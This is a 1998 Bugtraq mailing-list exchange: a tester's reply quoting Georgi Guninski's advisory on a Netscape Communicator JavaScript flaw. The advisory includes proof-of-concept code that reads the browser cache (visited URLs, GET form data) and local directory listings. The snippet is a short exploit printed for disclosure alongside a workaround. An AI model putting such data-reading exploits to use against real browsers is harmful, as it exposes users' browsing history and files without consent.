Re: Javascript bug in Netscape Communicator 4.5

[jreavis () AISTRAT COM (Jim Reavis)]

Good work.  FYI, when I tested the pages with NT the cache reading problem
was also there, but the directory reading script appeared to be blocked with
the following error messages:

"JavaScript Error: file:/c|/, line 2:

access disallowed from scripts at
http://www.geocities.com/ResearchTriangle/1711/b5.html to documents at
another
domain."

Jim Reavis
SecurityPortal.com - The focal point for security on the Net
Jreavis () aistrat com <mailto:Jreavis () aistrat com>
(360) 739-9629


                -----Original Message-----
                From:   Georgi Guninski [mailto:guninski () HOTMAIL COM]
                Sent:   Wednesday, October 28, 1998 10:22 AM
                To:     BUGTRAQ () NETSPACE ORG
                Subject:        Javascript bug in Netscape Communicator 4.5

                There is a bug in Netscape Communicator 4.5, 4.07, 3.04
under Windows 95
                (probably others) which allows reading user's cache (the
urls the user
                has visited, including the info in GET forms). Reading local
directories
                content is also allowed. This info may be sent to an
arbitrary host.
                The bug may be exploited by email.

                Demonstration is available at:
                 Cache reading:
http://www.geocities.com/ResearchTriangle/1711/b4.html
                 Directory reading:
                http://www.geocities.com/ResearchTriangle/1711/b5.html

                The javascript code is:

                sl=window.open('wysiwyg://1/about:cache');
                //For Netscape 3.04 remove 'wysiwyg://1/'
                sl2=sl.window.open();
                sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t
\"; x=\"Here
                are some links from your cache:\"; for(i=0;i<5;i++)
                x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return
s};f()";
                sl2.location.reload();

                Workaround: Disable Javascript.

                Regards,
                Georgi Guninski
                http://www.geocities.com/ResearchTriangle/1711/


                ______________________________________________________
                Get Your Private, Free Email at http://www.hotmail.com